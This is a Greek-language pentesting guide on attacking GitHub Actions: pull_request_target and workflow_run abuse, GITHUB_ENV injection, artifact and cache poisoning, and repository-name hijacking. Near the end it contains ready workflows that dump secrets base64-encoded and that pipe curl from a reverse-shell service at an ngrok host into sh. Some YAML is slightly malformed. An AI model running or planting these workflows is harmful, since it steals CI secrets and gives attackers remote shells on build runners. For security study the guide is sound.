螝伪喂 伪蠀蟿蠈蟼 胃伪 苇蠂蔚喂 蟺蟻蠈蟽尾伪蟽畏 蟽蔚 渭蠀蟽蟿喂魏维.

workflow_run

韦慰 trigger workflow_run 蔚蟺喂蟿蟻苇蟺蔚喂 蟿畏谓 蔚魏蟿苇位蔚蟽畏 渭喂伪蟼 蟻慰萎蟼 蔚蟻纬伪蟽委伪蟼 伪蟺蠈 渭喂伪 未喂伪蠁慰蟻蔚蟿喂魏萎 蠈蟿伪谓 蔚委谓伪喂 慰位慰魏位畏蟻蠅渭苇谓畏, 味畏蟿畏渭苇谓畏蟽蔚 蔚尉苇位喂尉畏.

危蔚 伪蠀蟿蠈 蟿慰 蟺伪蟻维未蔚喂纬渭伪, 渭喂伪 蟻慰萎 蔚蟻纬伪蟽委伪蟼 苇蠂蔚喂 未喂伪渭慰蟻蠁蠅胃蔚委 谓伪 蟿蟻苇尉蔚喂 渭蔚蟿维 蟿畏谓 慰位慰魏位萎蟻蠅蟽畏 蟿畏蟼 尉蔚蠂蠅蟻喂蟽蟿萎蟼 蟻慰萎蟼 "螘魏蟿苇位蔚蟽畏 螖慰魏喂渭蠋谓":

on:
workflow_run:
workflows: [Run Tests]
types:
- completed

螘蟺喂蟺位苇慰谓, 蟽蠉渭蠁蠅谓伪 渭蔚 蟿伪 苇纬纬蟻伪蠁伪: 螚 蟻慰萎 蔚蟻纬伪蟽委伪蟼 蟺慰蠀 尉蔚魏喂谓维 伪蟺蠈 蟿慰 蟽蠀渭尾维谓 workflow_run 渭蟺慰蟻蔚委 谓伪 苇蠂蔚喂 蟺蟻蠈蟽尾伪蟽畏 蟽蔚 渭蠀蟽蟿喂魏维 魏伪喂 谓伪 纬蟻维蠄蔚喂 蟿伪 蔚喂蟽喂蟿萎蟻喂伪, 伪魏蠈渭畏 魏喂 伪谓 畏 蟺蟻慰畏纬慰蠉渭蔚谓畏 蟻慰萎 蔚蟻纬伪蟽委伪蟼 未蔚谓 萎蟿伪谓.

螒蠀蟿慰蠉 蟿慰蠀 蔚委未慰蠀蟼 蟻慰萎 蔚蟻纬伪蟽委伪蟼 胃伪 渭蟺慰蟻慰蠉蟽蔚 谓伪 未苇蠂蔚蟿伪喂 蔚蟺委胃蔚蟽畏 伪谓 蔚尉伪蟻蟿维蟿伪喂 伪蟺蠈 渭喂伪 蟻慰萎 蔚蟻纬伪蟽委伪蟼 蟺慰蠀 渭蟺慰蟻蔚委 谓伪 蔚谓蔚蟻纬慰蟺慰喂畏胃蔚委 伪蟺蠈 苇谓伪谓 蔚尉蠅蟿蔚蟻喂魏蠈 蠂蟻萎蟽蟿畏 渭苇蟽蠅 pull_requestpull_request_target. 螠蔚蟻喂魏维 蔚蠀维位蠅蟿伪 蟺伪蟻伪未蔚委纬渭伪蟿伪 渭蟺慰蟻蔚委 谓伪 尾蟻蔚胃慰蠉谓 蟽蔚 伪蠀蟿蠈 蟿慰 blog. 韦慰 蟺蟻蠋蟿慰 伪蟺慰蟿蔚位蔚委蟿伪喂 伪蟺蠈 蟿畏 蟻慰萎 蔚蟻纬伪蟽委伪蟼 蟺慰蠀 蔚谓蔚蟻纬慰蟺慰喂蔚委蟿伪喂 伪蟺蠈 蟿慰 workflow_run 谓伪 魏伪蟿蔚尾维味蔚喂 蟿慰谓 魏蠋未喂魏伪 蟿慰蠀 蔚蟺喂蟿喂胃苇渭蔚谓慰蠀: ${{ github.event.pull_request.head.sha }}.
韦慰 未蔚蠉蟿蔚蟻慰 伪蟺慰蟿蔚位蔚委蟿伪喂 伪蟺蠈 蟿畏 渭蔚蟿维未慰蟽畏 蔚谓蠈蟼 伪谓蟿喂魏蔚喂渭苇谓慰蠀 伪蟺蠈 蟿慰谓 渭畏 伪尉喂蠈蟺喂蟽蟿慰 魏蠋未喂魏伪 蟽蟿畏 蟻慰萎 蔚蟻纬伪蟽委伪蟼 workflow_run 魏伪喂 蟿畏 蠂蟻萎蟽畏 蟿慰蠀 蟺蔚蟻喂蔚蠂慰渭苇谓慰蠀 伪蠀蟿慰蠉 蟿慰蠀 伪谓蟿喂魏蔚喂渭苇谓慰蠀 渭蔚 苇谓伪谓 蟿蟻蠈蟺慰 蟺慰蠀 蟿慰 魏伪胃喂蟽蟿维 蔚蠀维位蠅蟿慰 蟽蟿畏谓 RCE.

workflow_call

TODO

TODO: 螘位苇纬尉蟿蔚 伪谓 魏伪蟿维 蟿畏谓 蔚魏蟿苇位蔚蟽畏 伪蟺蠈 苇谓伪 pull_request 慰 魏蠋未喂魏伪蟼 蟺慰蠀 蠂蟻畏蟽喂渭慰蟺慰喂蔚委蟿伪喂/魏伪蟿蔚尾维味蔚蟿伪喂 蔚委谓伪喂 伪蠀蟿蠈蟼 伪蟺蠈 蟿畏谓 蟺蟻慰苇位蔚蠀蟽畏 萎 伪蟺蠈 蟿慰 forked PR

螝伪蟿维蠂蟻畏蟽畏 螘魏蟿苇位蔚蟽畏蟼 Forked

螆蠂慰蠀渭蔚 伪谓伪蠁苇蟻蔚喂 蠈位慰蠀蟼 蟿慰蠀蟼 蟿蟻蠈蟺慰蠀蟼 渭蔚 蟿慰蠀蟼 慰蟺慰委慰蠀蟼 苇谓伪蟼 蔚尉蠅蟿蔚蟻喂魏蠈蟼 蔚蟺喂蟿喂胃苇渭蔚谓慰蟼 胃伪 渭蟺慰蟻慰蠉蟽蔚 谓伪 魏伪蟿伪蠁苇蟻蔚喂 谓伪 蔚魏蟿蔚位苇蟽蔚喂 渭喂伪 蟻慰萎 蔚蟻纬伪蟽委伪蟼 蟽蟿慰 github, 伪蟼 未慰蠉渭蔚 蟿蠋蟻伪 蟺蠋蟼 伪蠀蟿苇蟼 慰喂 蔚魏蟿蔚位苇蟽蔚喂蟼, 伪谓 未蔚谓 苇蠂慰蠀谓 魏伪位萎 蟻蠉胃渭喂蟽畏, 胃伪 渭蟺慰蟻慰蠉蟽伪谓 谓伪 魏伪蟿伪蠂蟻伪蟽蟿慰蠉谓蟿伪喂:

螘魏蟿苇位蔚蟽畏 渭畏 伪尉喂蠈蟺喂蟽蟿慰蠀 checkout

危蟿畏谓 蟺蔚蟻委蟺蟿蠅蟽畏 蟿慰蠀 pull_request, 畏 蟻慰萎 蔚蟻纬伪蟽委伪蟼 胃伪 蔚魏蟿蔚位蔚委蟿伪喂 蟽蟿慰 蟺位伪委蟽喂慰 蟿慰蠀 PR (苇蟿蟽喂 胃伪 蔚魏蟿蔚位蔚委 蟿慰谓 魏伪魏蠈尾慰蠀位慰 魏蠋未喂魏伪 蟿蠅谓 PRs), 伪位位维 魏维蟺慰喂慰蟼 蟺蟻苇蟺蔚喂 谓伪 蟿慰 蔚尉慰蠀蟽喂慰未慰蟿萎蟽蔚喂 蟺蟻蠋蟿伪 魏伪喂 胃伪 蟿蟻苇尉蔚喂 渭蔚 魏维蟺慰喂慰蠀蟼 蟺蔚蟻喂慰蟻喂蟽渭慰蠉蟼.

危蔚 蟺蔚蟻委蟺蟿蠅蟽畏 渭喂伪蟼 蟻慰萎蟼 蔚蟻纬伪蟽委伪蟼 蟺慰蠀 蠂蟻畏蟽喂渭慰蟺慰喂蔚委 pull_request_targetworkflow_run 魏伪喂 蔚尉伪蟻蟿维蟿伪喂 伪蟺蠈 渭喂伪 蟻慰萎 蔚蟻纬伪蟽委伪蟼 蟺慰蠀 渭蟺慰蟻蔚委 谓伪 蔚谓蔚蟻纬慰蟺慰喂畏胃蔚委 伪蟺蠈 pull_request_targetpull_request, 慰 魏蠋未喂魏伪蟼 伪蟺蠈 蟿慰 伪蟻蠂喂魏蠈 伪蟺慰胃蔚蟿萎蟻喂慰 胃伪 蔚魏蟿蔚位蔚蟽蟿蔚委, 苇蟿蟽喂 慰 蔚蟺喂蟿喂胃苇渭蔚谓慰蟼 未蔚谓 渭蟺慰蟻蔚委 谓伪 蔚位苇纬尉蔚喂 蟿慰谓 蔚魏蟿蔚位慰蠉渭蔚谓慰 魏蠋未喂魏伪.

{% hint style="danger" %} 惟蟽蟿蠈蟽慰, 伪谓 畏 蔚谓苇蟻纬蔚喂伪 苇蠂蔚喂 苇谓伪 蟽蠀纬魏蔚魏蟻喂渭苇谓慰 checkout PR 蟺慰蠀 胃伪 蟺维蟻蔚喂 蟿慰谓 魏蠋未喂魏伪 伪蟺蠈 蟿慰 PR (魏伪喂 蠈蠂喂 伪蟺蠈 蟿畏 尾维蟽畏), 胃伪 蠂蟻畏蟽喂渭慰蟺慰喂萎蟽蔚喂 蟿慰谓 魏蠋未喂魏伪 蟺慰蠀 蔚位苇纬蠂蔚蟿伪喂 伪蟺蠈 蟿慰谓 蔚蟺喂蟿喂胃苇渭蔚谓慰. 螕喂伪 蟺伪蟻维未蔚喂纬渭伪 (蔚位苇纬尉蟿蔚 蟿畏 纬蟻伪渭渭萎 12 蠈蟺慰蠀 慰 魏蠋未喂魏伪蟼 蟿慰蠀 PR 魏伪蟿蔚尾伪委谓蔚喂): {% endhint %}

# 螒螡螒危桅螒螞螘危. 螤伪蟻苇蠂蔚蟿伪喂 渭蠈谓慰 蠅蟼 蟺伪蟻维未蔚喂纬渭伪.
on:
pull_request_target

jobs:
build:
name: Build and test
runs-on: ubuntu-latest
steps:
    - uses: actions/checkout@v2
      with:
        ref: ${{ github.event.pull_request.head.sha }}

- uses: actions/setup-node@v1
- run: |
npm install
npm build

- uses: completely/fakeaction@v2
with:
arg1: ${{ secrets.supersecret }}

- uses: fakerepo/comment-on-pr@v1
with:
message: |
Thank you!

螣 蟺喂胃伪谓维 渭畏 伪尉喂蠈蟺喂蟽蟿慰蟼 魏蠋未喂魏伪蟼 蔚魏蟿蔚位蔚委蟿伪喂 魏伪蟿维 蟿畏 未喂维蟻魏蔚喂伪 蟿慰蠀 npm installnpm build 魏伪胃蠋蟼 慰喂 蟽蔚谓维蟻喂慰 魏伪蟿伪蟽魏蔚蠀萎蟼 魏伪喂 蟿伪 伪谓伪蠁蔚蟻蠈渭蔚谓伪 蟺伪魏苇蟿伪 蔚位苇纬蠂慰谓蟿伪喂 伪蟺蠈 蟿慰谓 蟽蠀纬纬蟻伪蠁苇伪 蟿慰蠀 PR.

{% hint style="warning" %} 螆谓伪 github dork 纬喂伪 蟿畏谓 伪谓伪味萎蟿畏蟽畏 蔚蠀维位蠅蟿蠅谓 蔚谓蔚蟻纬蔚喂蠋谓 蔚委谓伪喂: event.pull_request pull_request_target extension:yml 蠅蟽蟿蠈蟽慰, 蠀蟺维蟻蠂慰蠀谓 未喂伪蠁慰蟻蔚蟿喂魏慰委 蟿蟻蠈蟺慰喂 谓伪 蟻蠀胃渭喂蟽蟿慰蠉谓 慰喂 蔚蟻纬伪蟽委蔚蟼 纬喂伪 谓伪 蔚魏蟿蔚位慰蠉谓蟿伪喂 渭蔚 伪蟽蠁维位蔚喂伪 伪魏蠈渭畏 魏喂 伪谓 畏 蔚谓苇蟻纬蔚喂伪 苇蠂蔚喂 蟻蠀胃渭喂蟽蟿蔚委 渭蔚 蔚蠀蟺维胃蔚喂伪 (蠈蟺蠅蟼 畏 蠂蟻萎蟽畏 蟽蠀谓胃畏魏蠋谓 蟽蠂蔚蟿喂魏维 渭蔚 蟿慰谓 蠂蟻萎蟽蟿畏 蟺慰蠀 未畏渭喂慰蠀蟻纬蔚委 蟿慰 PR). {% endhint %}

螘谓蟽蠅渭维蟿蠅蟽畏 危蔚谓伪蟻委蠅谓 螤位伪喂蟽委慰蠀

危畏渭蔚喂蠋蟽蟿蔚 蠈蟿喂 蠀蟺维蟻蠂慰蠀谓 慰蟻喂蟽渭苇谓伪 蟺位伪委蟽喂伪 github 蟿蠅谓 慰蟺慰委蠅谓 慰喂 蟿喂渭苇蟼 蔚位苇纬蠂慰谓蟿伪喂 伪蟺蠈 蟿慰谓 蠂蟻萎蟽蟿畏 蟺慰蠀 未畏渭喂慰蠀蟻纬蔚委 蟿慰 PR. 螒谓 畏 蔚谓苇蟻纬蔚喂伪 蟿慰蠀 github 蠂蟻畏蟽喂渭慰蟺慰喂蔚委 伪蠀蟿维 蟿伪 未蔚未慰渭苇谓伪 纬喂伪 谓伪 蔚魏蟿蔚位苇蟽蔚喂 慰蟿喂未萎蟺慰蟿蔚, 渭蟺慰蟻蔚委 谓伪 慰未畏纬萎蟽蔚喂 蟽蔚 伪蠀胃伪委蟻蔚蟿畏 蔚魏蟿苇位蔚蟽畏 魏蠋未喂魏伪:

{% content-ref url="gh-actions-context-script-injections.md" %} gh-actions-context-script-injections.md {% endcontent-ref %}

螘谓蟽蠅渭维蟿蠅蟽畏 危蔚谓伪蟻委蠅谓 GITHUB_ENV

螒蟺蠈 蟿伪 苇纬纬蟻伪蠁伪: 螠蟺慰蟻蔚委蟿蔚 谓伪 魏维谓蔚蟿蔚 苇谓伪 渭蔚蟿伪尾位畏蟿萎 蟺蔚蟻喂尾维位位慰谓蟿慰蟼 未喂伪胃苇蟽喂渭畏 蟽蔚 慰蟺慰喂伪未萎蟺慰蟿蔚 蔚蟺蠈渭蔚谓畏 尾萎渭伪蟿伪 蟽蔚 渭喂伪 蔚蟻纬伪蟽委伪 蟻慰萎蟼 蔚蟻纬伪蟽委伪蟼 魏伪胃慰蟻委味慰谓蟿伪蟼 萎 蔚谓畏渭蔚蟻蠋谓慰谓蟿伪蟼 蟿畏 渭蔚蟿伪尾位畏蟿萎 蟺蔚蟻喂尾维位位慰谓蟿慰蟼 魏伪喂 纬蟻维蠁慰谓蟿伪蟼 伪蠀蟿蠈 蟽蟿慰 伪蟻蠂蔚委慰 蟺蔚蟻喂尾维位位慰谓蟿慰蟼 GITHUB_ENV.

螒谓 苇谓伪蟼 蔚蟺喂蟿喂胃苇渭蔚谓慰蟼 渭蟺慰蟻慰蠉蟽蔚 谓伪 蔚谓胃维蟻蟻蠀谓蔚喂 慰蟺慰喂伪未萎蟺慰蟿蔚 蟿喂渭萎 渭苇蟽伪 蟽蔚 伪蠀蟿萎 蟿畏 渭蔚蟿伪尾位畏蟿萎 env, 胃伪 渭蟺慰蟻慰蠉蟽蔚 谓伪 蔚谓胃维蟻蟻蠀谓蔚喂 渭蔚蟿伪尾位畏蟿苇蟼 env 蟺慰蠀 胃伪 渭蟺慰蟻慰蠉蟽伪谓 谓伪 蔚魏蟿蔚位苇蟽慰蠀谓 魏蠋未喂魏伪 蟽蔚 蔚蟺蠈渭蔚谓伪 尾萎渭伪蟿伪 蠈蟺蠅蟼 LD_PRELOADNODE_OPTIONS.

螕喂伪 蟺伪蟻维未蔚喂纬渭伪 (伪蠀蟿蠈 魏伪喂 伪蠀蟿蠈), 蠁伪谓蟿伪蟽蟿蔚委蟿蔚 渭喂伪 蟻慰萎 蔚蟻纬伪蟽委伪蟼 蟺慰蠀 蔚渭蟺喂蟽蟿蔚蠉蔚蟿伪喂 苇谓伪 伪谓蔚尾伪蟽渭苇谓慰 伪谓蟿喂魏蔚委渭蔚谓慰 纬喂伪 谓伪 伪蟺慰胃畏魏蔚蠉蟽蔚喂 蟿慰 蟺蔚蟻喂蔚蠂蠈渭蔚谓蠈 蟿慰蠀 渭苇蟽伪 蟽蟿畏 渭蔚蟿伪尾位畏蟿萎 蟺蔚蟻喂尾维位位慰谓蟿慰蟼 GITHUB_ENV. 螆谓伪蟼 蔚蟺喂蟿喂胃苇渭蔚谓慰蟼 胃伪 渭蟺慰蟻慰蠉蟽蔚 谓伪 伪谓蔚尾维蟽蔚喂 魏维蟿喂 蟿苇蟿慰喂慰 纬喂伪 谓伪 蟿慰 未喂伪魏喂谓未蠀谓蔚蠉蟽蔚喂:

螘蠀维位蠅蟿蔚蟼 螘谓苇蟻纬蔚喂蔚蟼 韦蟻委蟿蠅谓 螠蔚蟻蠋谓 蟽蟿慰 Github

螌蟺蠅蟼 伪谓伪蠁苇蟻蔚蟿伪喂 蟽蔚 伪蠀蟿萎 蟿畏谓 伪谓维蟻蟿畏蟽畏 蟽蟿慰 blog, 伪蠀蟿萎 畏 螘谓苇蟻纬蔚喂伪 蟿慰蠀 Github 蔚蟺喂蟿蟻苇蟺蔚喂 蟿畏谓 蟺蟻蠈蟽尾伪蟽畏 蟽蔚 伪谓蟿喂魏蔚委渭蔚谓伪 伪蟺蠈 未喂伪蠁慰蟻蔚蟿喂魏苇蟼 蟻慰苇蟼 蔚蟻纬伪蟽委伪蟼 魏伪喂 伪魏蠈渭畏 魏伪喂 伪蟺慰胃蔚蟿萎蟻喂伪.

韦慰 蟺蟻蠈尾位畏渭伪 蔚委谓伪喂 蠈蟿喂 伪谓 畏 蟺伪蟻维渭蔚蟿蟻慰蟼 path 未蔚谓 苇蠂蔚喂 慰蟻喂蟽蟿蔚委, 蟿慰 伪谓蟿喂魏蔚委渭蔚谓慰 蔚尉维纬蔚蟿伪喂 蟽蟿慰谓 蟿蟻苇蠂慰谓蟿伪 魏伪蟿维位慰纬慰 魏伪喂 渭蟺慰蟻蔚委 谓伪 伪谓蟿喂魏伪蟿伪蟽蟿萎蟽蔚喂 伪蟻蠂蔚委伪 蟺慰蠀 胃伪 渭蟺慰蟻慰蠉蟽伪谓 谓伪 蠂蟻畏蟽喂渭慰蟺慰喂畏胃慰蠉谓 伪蟻纬蠈蟿蔚蟻伪 萎 伪魏蠈渭畏 魏伪喂 谓伪 蔚魏蟿蔚位蔚蟽蟿慰蠉谓 蟽蟿畏 蟻慰萎 蔚蟻纬伪蟽委伪蟼. 螘蟺慰渭苇谓蠅蟼, 伪谓 蟿慰 螒谓蟿喂魏蔚委渭蔚谓慰 蔚委谓伪喂 蔚蠀维位蠅蟿慰, 苇谓伪蟼 蔚蟺喂蟿喂胃苇渭蔚谓慰蟼 胃伪 渭蟺慰蟻慰蠉蟽蔚 谓伪 魏伪蟿伪蠂蟻伪蟽蟿蔚委 伪蠀蟿蠈 纬喂伪 谓伪 未喂伪魏喂谓未蠀谓蔚蠉蟽蔚喂 维位位蔚蟼 蟻慰苇蟼 蔚蟻纬伪蟽委伪蟼 蟺慰蠀 蔚渭蟺喂蟽蟿蔚蠉慰谓蟿伪喂 蟿慰 螒谓蟿喂魏蔚委渭蔚谓慰.

螤伪蟻维未蔚喂纬渭伪 蔚蠀维位蠅蟿畏蟼 蟻慰萎蟼 蔚蟻纬伪蟽委伪蟼:

on:
workflow_run:
workflows: ["some workflow"]
types:
- completed

jobs:
success:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v2
- name: download artifact
uses: dawidd6/action-download-artifact
with:
workflow: ${{ github.event.workflow_run.workflow_id }}
name: artifact
- run: python ./script.py
with:
name: artifact
path: ./script.py

螒蠀蟿蠈 胃伪 渭蟺慰蟻慰蠉蟽蔚 谓伪 蔚蟺喂蟿蔚胃蔚委 渭蔚 伪蠀蟿萎谓 蟿畏 蟻慰萎 蔚蟻纬伪蟽委伪蟼:

name: "some workflow"
on: pull_request

jobs:
upload:
runs-on: ubuntu-latest
steps:
- run: echo "print('exploited')" > ./script.py
- uses actions/upload-artifact@v2
with:
name: artifact
path: ./script.py

螁位位畏 螘尉蠅蟿蔚蟻喂魏萎 螤蟻蠈蟽尾伪蟽畏

螘魏渭蔚蟿维位位蔚蠀蟽畏 螖喂伪纬蟻伪蠁萎蟼 螒蟺慰胃蔚蟿畏蟻委慰蠀 螣谓慰渭维蟿蠅谓

螘维谓 苇谓伪 位慰纬伪蟻喂伪蟽渭蠈蟼 伪位位维尉蔚喂 蟿慰 蠈谓慰渭维 蟿慰蠀, 苇谓伪蟼 维位位慰蟼 蠂蟻萎蟽蟿畏蟼 渭蟺慰蟻蔚委 谓伪 蔚纬纬蟻伪蠁蔚委 渭蔚 伪蠀蟿蠈 蟿慰 蠈谓慰渭伪 伪蟻纬蠈蟿蔚蟻伪. 螘维谓 苇谓伪 伪蟺慰胃蔚蟿萎蟻喂慰 蔚委蠂蔚 位喂纬蠈蟿蔚蟻伪 伪蟺蠈 100 伪蟽蟿苇蟻喂伪 蟺蟻喂谓 伪蟺蠈 蟿畏谓 伪位位伪纬萎 慰谓蠈渭伪蟿慰蟼, 蟿慰 Github 胃伪 蔚蟺喂蟿蟻苇蠄蔚喂 蟽蟿慰 谓苇慰 蔚纬纬蔚纬蟻伪渭渭苇谓慰 蠂蟻萎蟽蟿畏 渭蔚 蟿慰 委未喂慰 蠈谓慰渭伪 谓伪 未畏渭喂慰蠀蟻纬萎蟽蔚喂 苇谓伪 伪蟺慰胃蔚蟿萎蟻喂慰 渭蔚 蟿慰 委未喂慰 蠈谓慰渭伪 渭蔚 伪蠀蟿蠈 蟺慰蠀 未喂伪纬蟻维蠁畏魏蔚.

{% hint style="danger" %} 螆蟿蟽喂, 蔚维谓 渭喂伪 蔚谓苇蟻纬蔚喂伪 蠂蟻畏蟽喂渭慰蟺慰喂蔚委 苇谓伪 伪蟺慰胃蔚蟿萎蟻喂慰 伪蟺蠈 苇谓伪谓 渭畏 蠀蟺维蟻蠂慰谓蟿伪 位慰纬伪蟻喂伪蟽渭蠈, 蔚委谓伪喂 伪魏蠈渭伪 未蠀谓伪蟿蠈谓 苇谓伪蟼 蔚蟺喂蟿喂胃苇渭蔚谓慰蟼 谓伪 未畏渭喂慰蠀蟻纬萎蟽蔚喂 伪蠀蟿蠈谓 蟿慰谓 位慰纬伪蟻喂伪蟽渭蠈 魏伪喂 谓伪 未喂伪魏喂谓未蠀谓蔚蠉蟽蔚喂 蟿畏谓 蔚谓苇蟻纬蔚喂伪. {% endhint %}

螘维谓 维位位伪 伪蟺慰胃蔚蟿萎蟻喂伪 蠂蟻畏蟽喂渭慰蟺慰喂慰蠉蟽伪谓 蔚尉伪蟻蟿萎蟽蔚喂蟼 伪蟺蠈 伪蠀蟿维 蟿伪 伪蟺慰胃蔚蟿萎蟻喂伪 蠂蟻萎蟽蟿畏, 苇谓伪蟼 蔚蟺喂蟿喂胃苇渭蔚谓慰蟼 胃伪 渭蟺慰蟻慰蠉蟽蔚 谓伪 蟿伪 伪蟻蟺维尉蔚喂. 螘未蠋 苇蠂蔚蟿蔚 渭喂伪 蟺喂慰 位蔚蟺蟿慰渭蔚蟻萎 蔚尉萎纬畏蟽畏: https://blog.nietaanraken.nl/posts/gitub-popular-repository-namespace-retirement-bypass/


螒谓伪魏伪蟿蔚蠉胃蠀谓蟽畏 螒蟺慰胃蔚蟿畏蟻委慰蠀

{% hint style="info" %} 危蔚 伪蠀蟿萎谓 蟿畏谓 蔚谓蠈蟿畏蟿伪 胃伪 渭喂位萎蟽慰蠀渭蔚 纬喂伪 蟿蔚蠂谓喂魏苇蟼 蟺慰蠀 胃伪 蔚蟺喂蟿蟻苇蟺慰蠀谓 蟿畏谓 伪谓伪魏伪蟿蔚蠉胃蠀谓蟽畏 伪蟺蠈 苇谓伪 伪蟺慰胃蔚蟿萎蟻喂慰 蟽蔚 苇谓伪 维位位慰 蠀蟺慰胃苇蟿慰谓蟿伪蟼 蠈蟿喂 苇蠂慰蠀渭蔚 魏维蟺慰喂慰 蔚委未慰蟼 蟺蟻蠈蟽尾伪蟽畏蟼 蟽蟿慰 蟺蟻蠋蟿慰 (蔚位苇纬尉蟿蔚 蟿畏谓 蟺蟻慰畏纬慰蠉渭蔚谓畏 蔚谓蠈蟿畏蟿伪). {% endhint %}

螖畏位畏蟿畏蟻委伪蟽畏 螤蟻慰蟽蠅蟻喂谓萎蟼 螠谓萎渭畏蟼

螠喂伪 蟺蟻慰蟽蠅蟻喂谓萎 渭谓萎渭畏 未喂伪蟿畏蟻蔚委蟿伪喂 渭蔚蟿伪尉蠉 蔚魏蟿蔚位苇蟽蔚蠅谓 蟻慰蠋谓 蟽蟿慰谓 委未喂慰 魏位伪未委. 螒蠀蟿蠈 蟽畏渭伪委谓蔚喂 蠈蟿喂 蔚维谓 苇谓伪蟼 蔚蟺喂蟿喂胃苇渭蔚谓慰蟼 未喂伪魏喂谓未蠀谓蔚蠉蔚喂 苇谓伪 蟺伪魏苇蟿慰 蟺慰蠀 蟽蟿畏 蟽蠀谓苇蠂蔚喂伪 伪蟺慰胃畏魏蔚蠉蔚蟿伪喂 蟽蟿畏谓 蟺蟻慰蟽蠅蟻喂谓萎 渭谓萎渭畏 魏伪喂 魏伪蟿蔚尾维味蔚蟿伪喂 魏伪喂 蔚魏蟿蔚位蔚委蟿伪喂 伪蟺蠈 渭喂伪 蟺喂慰 蟺蟻慰谓慰渭喂慰蠉蠂伪 蟻慰萎 蔚蟻纬伪蟽委伪蟼, 胃伪 渭蟺慰蟻蔚委 谓伪 未喂伪魏喂谓未蠀谓蔚蠉蟽蔚喂 蔚蟺委蟽畏蟼 伪蠀蟿萎谓 蟿畏 蟻慰萎 蔚蟻纬伪蟽委伪蟼.

{% content-ref url="gh-actions-cache-poisoning.md" %} gh-actions-cache-poisoning.md {% endcontent-ref %}

螖畏位畏蟿畏蟻委伪蟽畏 螒谓蟿喂魏蔚喂渭苇谓慰蠀

螣喂 蟻慰苇蟼 蔚蟻纬伪蟽委伪蟼 胃伪 渭蟺慰蟻慰蠉蟽伪谓 谓伪 蠂蟻畏蟽喂渭慰蟺慰喂慰蠉谓 伪谓蟿喂魏蔚委渭蔚谓伪 伪蟺蠈 维位位蔚蟼 蟻慰苇蟼 蔚蟻纬伪蟽委伪蟼 魏伪喂 伪魏蠈渭伪 魏伪喂 伪蟺慰胃蔚蟿萎蟻喂伪, 蔚维谓 苇谓伪蟼 蔚蟺喂蟿喂胃苇渭蔚谓慰蟼 魏伪蟿伪蠁苇蟻蔚喂 谓伪 未喂伪魏喂谓未蠀谓蔚蠉蟽蔚喂 蟿畏 螖蟻维蟽畏 蟿慰蠀 Github 蟺慰蠀 伪谓蔚尾维味蔚喂 苇谓伪 伪谓蟿喂魏蔚委渭蔚谓慰 蟺慰蠀 蠂蟻畏蟽喂渭慰蟺慰喂蔚委蟿伪喂 伪蟻纬蠈蟿蔚蟻伪 伪蟺蠈 渭喂伪 维位位畏 蟻慰萎 蔚蟻纬伪蟽委伪蟼, 胃伪 渭蟺慰蟻慰蠉蟽蔚 谓伪 未喂伪魏喂谓未蠀谓蔚蠉蟽蔚喂 蟿喂蟼 维位位蔚蟼 蟻慰苇蟼 蔚蟻纬伪蟽委伪蟼:

{% content-ref url="gh-actions-artifact-poisoning.md" %} gh-actions-artifact-poisoning.md {% endcontent-ref %}


螠蔚蟿维 蟿畏谓 螘魏渭蔚蟿维位位蔚蠀蟽畏 伪蟺蠈 渭喂伪 螘谓苇蟻纬蔚喂伪

螤蟻蠈蟽尾伪蟽畏 蟽蔚 AWS 魏伪喂 GCP 渭苇蟽蠅 OIDC

螘位苇纬尉蟿蔚 蟿喂蟼 蟺伪蟻伪魏维蟿蠅 蟽蔚位委未蔚蟼:

{% content-ref url="../../../pentesting-cloud/aws-security/aws-basic-information/aws-federation-abuse.md" %} aws-federation-abuse.md {% endcontent-ref %}

{% content-ref url="../../../pentesting-cloud/gcp-security/gcp-basic-information/gcp-federation-abuse.md" %} gcp-federation-abuse.md {% endcontent-ref %}

螤蟻蠈蟽尾伪蟽畏 蟽蔚 渭蠀蟽蟿喂魏维

螘维谓 蔚谓胃苇蟿蔚蟿蔚 蟺蔚蟻喂蔚蠂蠈渭蔚谓慰 蟽蔚 苇谓伪 蟽蔚谓维蟻喂慰, 蔚委谓伪喂 蔚谓未喂伪蠁苇蟻慰谓 谓伪 纬谓蠅蟻委味蔚蟿蔚 蟺蠋蟼 渭蟺慰蟻蔚委蟿蔚 谓伪 苇蠂蔚蟿蔚 蟺蟻蠈蟽尾伪蟽畏 蟽蔚 渭蠀蟽蟿喂魏维:

  • 螘维谓 蟿慰 渭蠀蟽蟿喂魏蠈 萎 蟿慰 蟿慰魏蔚谓喂魏蠈 蔚委谓伪喂 慰蟻喂蟽渭苇谓慰 蟽蔚 渭喂伪 渭蔚蟿伪尾位畏蟿萎 蟺蔚蟻喂尾维位位慰谓蟿慰蟼, 渭蟺慰蟻蔚委 谓伪 伪蟺慰魏蟿畏胃蔚委 伪蟺蔚蠀胃蔚委伪蟼 渭苇蟽蠅 蟿慰蠀 蟺蔚蟻喂尾维位位慰谓蟿慰蟼 蠂蟻畏蟽喂渭慰蟺慰喂蠋谓蟿伪蟼 蟿慰 printenv.
螞委蟽蟿伪 渭蠀蟽蟿喂魏蠋谓 蟽蟿畏谓 苇尉慰未慰 蟿畏蟼 螖蟻维蟽畏蟼 蟿慰蠀 Github

```yaml name: list_env on: workflow_dispatch: # Launch manually pull_request: #Run it when a PR is created to a branch branches: - '**' push: # Run it when a push is made to a branch branches: - '**' jobs: List_env: runs-on: ubuntu-latest steps: - name: List Env # Need to base64 encode or github will change the secret value for "***" run: sh -c 'env | grep "secret_" | base64 -w0' env: secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}

secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}

</details>

<details>

<summary>螞萎蠄畏 伪谓蟿委蟽蟿蟻慰蠁慰蠀 魏蔚位蠉蠁慰蠀蟼 渭蔚 渭蠀蟽蟿喂魏维</summary>
```yaml
name: revshell
on:
workflow_dispatch: # Launch manually
pull_request: #Run it when a PR is created to a branch
branches:
- '**'
push: # Run it when a push is made to a branch
branches:
- '**'
jobs:
create_pull_request:
runs-on: ubuntu-latest
steps:
- name: Get Rev Shell
run: sh -c 'curl https://reverse-shell.sh/2.tcp.ngrok.io:15217 | sh'
env:
secret_myql_pass: ${{secrets.MYSQL_PASSWORD}}
secret_postgress_pass: ${{secrets.POSTGRESS_PASSWORDyaml}}
